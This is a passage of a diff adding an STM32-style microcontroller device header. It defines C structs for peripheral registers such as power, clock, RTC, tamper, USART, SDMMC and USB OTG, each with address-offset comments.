Port[1:8] Configuration register, Address offset: 0x04-0x20 */ +} XSPIM_TypeDef; + +typedef XSPIM_TypeDef OCTOSPIM_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Power USB Type-C and Power Delivery register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + __IO uint32_t PUCRF; /*!< Power Port F pull-up control register, Address offset: 0x78 */ + __IO uint32_t PDCRF; /*!< Power Port F pull-down control register, Address offset: 0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ + __IO uint32_t PUCRI; /*!< Power Port I pull-up control register, Address offset: 0x90 */ + __IO uint32_t PDCRI; /*!< Power Port I pull-down control register, Address offset: 0x94 */ + __IO uint32_t PUCRJ; /*!< Power Port J pull-up control register, Address offset: 0x98 */ + __IO uint32_t PDCRJ; /*!< Power Port J pull-down control register, Address offset: 0x9C */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x0A0-0x0A4 */ + __IO uint32_t CR4; /*!< Power power control register 4, Address offset: 0xA8 */ + __IO uint32_t CR5; /*!< Power power control register 5, Address offset: 0xAC */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO uint32_t BKP21R; /*!< TAMP backup register 21, Address offset: 0x154 */ + __IO uint32_t BKP22R; /*!< TAMP backup register 22, Address offset: 0x158 */ + __IO uint32_t BKP23R; /*!< TAMP backup register 23, Address offset: 0x15C */ + __IO uint32_t BKP24R; /*!< TAMP backup register 24, Address offset: 0x160 */ + __IO uint32_t BKP25R; /*!< TAMP backup register 25, Address offset: 0x164 */ + __IO uint32_t BKP26R; /*!< TAMP backup register 26, Address offset: 0x168 */ + __IO uint32_t BKP27R; /*!< TAMP backup register 27, Address offset: 0x16C */ + __IO uint32_t BKP28R; /*!< TAMP backup register 28, Address offset: 0x170 */ + __IO uint32_t BKP29R; /*!< TAMP backup register 29, Address offset: 0x174 */ + __IO uint32_t BKP30R; /*!< TAMP backup register 30, Address offset: 0x178 */ + __IO uint32_t BKP31R; /*!< TAMP backup register 31, Address offset: 0x17C */ +} TAMP_TypeDef; + +/** + * @brief Universal Synchronous Asynchronous Receiver Transmitter + */ +typedef struct +{ + __IO uint32_t CR1; /*!< USART Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< USART Control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< USART Control register 3, Address offset: 0x08 */ + __IO uint32_t BRR; /*!< USART Baud rate register, Address offset: 0x0C */ + __IO uint32_t GTPR; /*!< USART Guard time and prescaler register, Address offset: 0x10 */ + __IO uint32_t RTOR; /*!< USART Receiver Time Out register, Address offset: 0x14 */ + __IO uint32_t RQR; /*!< USART Request register, Address offset: 0x18 */ + __IO uint32_t ISR; /*!< USART Interrupt and status register, Address offset: 0x1C */ + __IO uint32_t ICR; /*!< USART Interrupt flag Clear register, Address offset: 0x20 */ + __IO uint32_t RDR; /*!< USART Receive Data register, Address offset: 0x24 */ + __IO uint32_t TDR; /*!< USART Transmit Data register, Address offset: 0x28 */ + __IO uint32_t PRESC; /*!< USART Prescaler register, Address offset: 0x2C */ + __IO uint32_t AUTOCR; /*!< USART Autonomous mode control register Address offset: 0x30 */ +} USART_TypeDef; + +/** + * @brief Serial Audio Interface + */ +typedef struct +{ + __IO uint32_t GCR; /*!< SAI global configuration register, Address offset: 0x00 */ + uint32_t RESERVED[16]; /*!< Reserved, Address offset: 0x04 to 0x40 */ + __IO uint32_t PDMCR; /*!< SAI PDM control register, Address offset: 0x44 */ + __IO uint32_t PDMDLY; /*!< SAI PDM delay register, Address offset: 0x48 */ +} SAI_TypeDef; + +typedef struct +{ + __IO uint32_t CR1; /*!< SAI block x configuration register 1, Address offset: 0x04 */ + __IO uint32_t CR2; /*!< SAI block x configuration register 2, Address offset: 0x08 */ + __IO uint32_t FRCR; /*!< SAI block x frame configuration register, Address offset: 0x0C */ + __IO uint32_t SLOTR; /*!< SAI block x slot register, Address offset: 0x10 */ + __IO uint32_t IMR; /*!< SAI block x interrupt mask register, Address offset: 0x14 */ + __IO uint32_t SR; /*!< SAI block x status register, Address offset: 0x18 */ + __IO uint32_t CLRFR; /*!< SAI block x clear flag register, Address offset: 0x1C */ + __IO uint32_t DR; /*!< SAI block x data register, Address offset: 0x20 */ +} SAI_Block_TypeDef; + +/** + * @brief System configuration controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< SYSCFG secure configuration register, Address offset: 0x00 */ + __IO uint32_t CFGR1; /*!< SYSCFG configuration register 1, Address offset: 0x04 */ + __IO uint32_t FPUIMR; /*!< SYSCFG FPU interrupt mask register, Address offset: 0x08 */ + __IO uint32_t CNSLCKR; /*!< SYSCFG CPU non-secure lock register, Address offset: 0x0C */ + __IO uint32_t CSLCKR; /*!< SYSCFG CPU secure lock register, Address offset: 0x10 */ + __IO uint32_t CFGR2; /*!< SYSCFG configuration register 2, Address offset: 0x14 */ + __IO uint32_t MESR; /*!< SYSCFG Memory Erase Status register, Address offset: 0x18 */ + __IO uint32_t CCCSR; /*!< SYSCFG Conpensaion Cell Control&Status register, Address offset: 0x1C */ + __IO uint32_t CCVR; /*!< SYSCFG Conpensaion Cell value register, Address offset: 0x20 */ + __IO uint32_t CCCR; /*!< SYSCFG Conpensaion Cell Code register, Address offset: 0x24 */ + uint32_t RESERVED1; /*!< RESERVED1, Address offset: 0x28 */ + __IO uint32_t RSSCMDR; /*!< SYSCFG RSS command mode register, Address offset: 0x2C */ + uint32_t RESERVED2[17]; /*!< RESERVED2, Address offset: 0x30 - 0x70 */ + __IO uint32_t OTGHSPHYCR; /*!< SYSCFG USB OTG_HS PHY register Address offset: 0x74 */ + uint32_t RESERVED3; /*!< RESERVED3, Address offset: 0x78 */ + __IO uint32_t OTGHSPHYTUNER2; /*!< SYSCFG USB OTG_HS PHY tune register 2 Address offset: 0x7C */ +} SYSCFG_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ +} UCPD_TypeDef; + +/** + * @brief USB_OTG_Core_register + */ +typedef struct +{ + __IO uint32_t GOTGCTL; /*!< USB_OTG Control and Status Register, Address offset: 000h */ + __IO uint32_t GOTGINT; /*!< USB_OTG Interrupt Register, Address offset: 004h */ + __IO uint32_t GAHBCFG; /*!< Core AHB Configuration Register, Address offset: 008h */ + __IO uint32_t GUSBCFG; /*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; 